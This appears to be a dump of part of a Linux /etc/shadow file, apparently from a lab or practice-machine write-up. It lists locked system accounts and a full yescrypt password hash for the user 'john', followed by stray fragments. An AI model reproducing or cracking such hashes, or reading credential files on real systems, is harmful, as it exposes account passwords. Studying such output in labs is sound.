games:*:19506:0:99999:7:::
man:*:19506:0:99999:7:::
lp:*:19506:0:99999:7:::
mail:*:19506:0:99999:7:::
news:*:19506:0:99999:7:::
uucp:*:19506:0:99999:7:::
proxy:*:19506:0:99999:7:::
www-data:*:19506:0:99999:7:::
backup:*:19506:0:99999:7:::
list:*:19506:0:99999:7:::
irc:*:19506:0:99999:7:::
gnats:*:19506:0:99999:7:::
nobody:*:19506:0:99999:7:::
_apt:*:19506:0:99999:7:::
systemd-network:*:19506:0:99999:7:::
systemd-resolve:*:19506:0:99999:7:::
messagebus:*:19506:0:99999:7:::
systemd-timesync:*:19506:0:99999:7:::
sshd:*:19506:0:99999:7:::
john:$y$j9T$GjbNtuqeiU3F8AVjXki/F1$E.mwZgDhVYWBR8UfeQDDO91/Z8cGKOW.ec0iK9Xj017:19569:0:99999:7:::
systemd-coredump:!*:19506::::::
_laurel:!:19572::::::

最後

image